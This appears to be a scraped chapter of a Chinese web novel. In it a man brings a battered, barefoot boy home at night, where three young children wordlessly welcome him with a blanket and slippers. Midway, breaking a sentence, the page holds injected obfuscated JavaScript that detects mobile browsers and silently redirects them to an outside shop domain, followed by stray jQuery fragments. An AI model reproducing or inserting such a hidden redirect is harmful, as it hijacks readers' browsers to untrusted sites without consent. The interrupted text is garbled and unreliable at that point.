顾夜跟着沈渡走进小区的时候，已经是深夜十一点半了。
整栋楼只有四楼的窗户还亮着灯。不是大灯，是小夜灯的光——橘黄色的，从窗帘缝隙里渗出来，像一小块被遗落在黑暗中的月亮。沈渡抬头看了一眼，嘴角弯了弯。他出门的时候关了所有的灯，但沈念一定半夜爬起来开了小夜灯。她怕黑，更怕爸爸回来的时候家里是黑的。
“念念不忘说，爸爸回来的时候要有光。”沈念曾经这样解释过她的行为。沈渡没有纠正她。因为他也觉得，回来的时候有光，是一件很好的事。
顾夜也抬头看了一眼那扇亮着灯的窗户，很快又低下了头。他的脚底已经被水泥地和碎玻璃割出了好几道口子，每走一步都留下一个淡淡的血印。他没有叫疼，甚至没有皱眉头。他的痛觉神经好像已经被磨钝了，或者，他只是学会了不和疼痛讲道理。
沈渡在楼下停了一下，从口袋里掏出钥匙，但没有立刻开门。他转过身，蹲下来，和顾夜平视。
“上楼之前，我跟你说几件事，”沈渡的声音很轻，夜风把他的话吹散了一些，但每个字都很清楚，“家里有三个小孩。最小的那个六岁，叫沈念，话很多，喜欢抱人，可能会扑上来抱你。你不喜欢可以推开她，她不会哭。她被人推过，知道被人推是什么感觉，所以不会怪你。”
顾夜没有表情。
“第二个是林暮，八岁，话很少，不喜欢被人注意。你不想理他，他也不会来理你。第三个是林鸢，七岁，说话声音很小，有一把琴。她可能不会跟你说话，不是不想说，是不太会。你可以先不跟她说话，没关系。”
顾夜依然没有表情。但他攥着糖的那只手，不自觉地握紧了一点。
“还有，”沈渡站起来，推开单元门，“你不用叫任何人。不用叫爸爸，不用叫哥哥姐姐。你不想开口，就不开口。不想笑，就不笑。不想吃什么就说不要，不想跟谁待着就回房间。我家有很多房间，你挑一间，关上门，没有人会推开。”
顾夜跟着沈渡走进了楼道。声控灯亮了一下，又灭了。沈渡跺了一下脚，灯又亮了。昏黄的光照着两个人一前一后的影子，顾夜的影子很小，很瘦，像一根被风吹弯的树枝。
四楼。
沈渡掏出钥匙的时候，门从里面被打开了。
沈念穿着小兔子睡衣，站在门口，头发翘得像一只刚打完架的猫。她一只手抱着念念不忘的腿，另一只手还搭在门把手上，整个人迷迷糊糊的，显然是被开门声吵醒的——不，她可能根本没睡。她可能在等。等那扇门被从外面打开的声音。
“爸爸！”她扑上来，抱住了沈渡的腰。然后她松开了沈渡，因为她看见了他身后的人。
顾夜站在走廊的声控灯下。灯刚好亮了，把他的样子照得清清楚楚——肿了的左眼，破了皮的嘴角，衣服被撕烂了一半，露出的肋骨上是大片青紫，赤着的脚上沾着灰尘和干涸的血迹。他整个人像一件被打碎之后又粗制滥造地粘起来的瓷器，裂缝到处都是，随时可能再碎一次。
沈念看着他，看了大概五秒钟。
她没有尖叫，没有问“你怎么了”，没有露出害怕的表情。她只是把念念不忘的腿抱紧了一些，然后安静地侧过身，让出了门口的路。
“爸爸，外面冷，”她说，声音比平时小了很多，“让他进来。”
沈渡看了沈念一眼。六岁的孩子，在某些时候会忽然长大。不是慢慢地、一天一天地长大，而是在某一个瞬间，像春天的竹子拔节一样，“咔”的一声，长高了一截。这个瞬间，沈念长大了。
顾夜站在门口，没有动。他看着门里面的一切——不大但整洁的客厅，擦得发亮的木地板，窗台上的绿萝在夜风里轻轻摇晃。沙发上有两只抱枕，一粉一蓝，粉色的那只绣着小猫，蓝色的那只边角起毛了。地上散落着几块乐高和一本摊开的绘本，绘本上画着一只穿着芭蕾舞裙的小猫——和林鸢睡衣上的图案一样。茶几上有一杯水，杯壁上印着一只打瞌睡的小猫。
这里的一切都是柔软的、温暖的、活生生的。和他身上那些坚硬的、冰冷的、快要死掉的东西，完全是两个世界。
他站在门槛外面，觉得自己像一颗钉子，不应该被塞进一个花朵形状的洞里。
林暮不知道什么时候从房间出来了。他站在走廊里，穿着那件已经小了的蓝色睡衣，安静地看着门口。他没有走过来，没有开口说话，只是站在那里，像一棵不会移动的树。
他看了顾夜三秒钟，然后转身走回了房间。不是躲起来了——是去拿东西了。一分钟后他回来了，手里多了一样东西：那条浅蓝色的、边角磨得起毛的毯子。他走到顾夜面前，把毯子放在他和沈念之间的地板上。然后退后了两步，回了自己的位置——走廊的墙边，靠着墙，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547253|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安静地站着。
毯子是他最喜欢的阿贝贝。他两年的安全感。
他把安全感放在了顾夜脚边。
林鸢没有出房间。但她的房门开了一条缝，手指宽的缝，刚好够一只眼睛从那里面望出来。门缝里有光——她房间的小夜灯还亮着，鸢尾花形状的。她透过那条缝，看着门口站着的那个人。浑身是伤的、赤着脚的、像一只被全世界踢来踢去的皮球一样的人。
她的手搭在门把手上，没有推开。但她把小夜——她的琴——抱在了怀里。琴头朝着门的方向，像一只竖着耳朵的、准备随时扑出去保护什么的小狗。
她没有出来。但她也没有后退。
沈渡站在玄关，伸出手，从鞋柜里拿出了一双拖鞋。不是新的，是林暮穿小了的那双，深蓝色的，鞋面上有一只褪色的帆船。鞋底已经磨薄了一层，但干干净净的，是沈渡今天下午刚刷的。
他把拖鞋放在顾夜脚边。
“先穿这个，”他说，声音很轻，“鞋子可能有点大，你先将就穿。明天我带你去买新的。”
顾夜低头看着那双拖鞋。深蓝色的帆船，褪色的，磨薄了鞋底的，晒过太阳之后还带着淡淡阳光味道的拖鞋。他没有动。
沈念蹲下来，把拖鞋往前推了半寸，刚好碰到顾夜的脚趾。顾夜的脚趾是冰凉的，碰到拖鞋的棉衬时，像被烫了一下，猛地缩了回去。沈念没有缩手。她蹲在那里，一只手还抱着念念不忘的腿，另一只手按着拖鞋，不让它再滑回去。
“你穿上吧，”她说，声音不大，但很认真，“地上凉。你脚上有伤口，不能踩在地上。会感染的。我上次摔破了膝盖，爸爸说的，伤口不能碰脏东西，会疼得更厉害。”
顾夜看着蹲在地上的沈念。她扎着两个歪歪扭扭的小揪，睡衣上印着一只傻笑的兔子，怀里抱着一只毛茸茸的熊腿，蹲在玄关的地板上，用手按住一双拖鞋，像一个小小的、固执的守门人。他的眼睛忽然酸了一下。不是感动，不是委屈，而是一种他从未体验过的、陌生的、像有人在他胸口最深处拧了一下一样的酸。他不知道那叫“被在意”。
他低下头，把脚伸进了拖鞋里。大了一点，鞋跟空出一截，走起路来会啪嗒啪嗒地响。但暖的。棉衬里储存的阳光味道从脚底往上爬，爬过脚踝，爬过小腿，爬到膝盖。他的腿颤了一下，不是疼，是暖。
太暖了。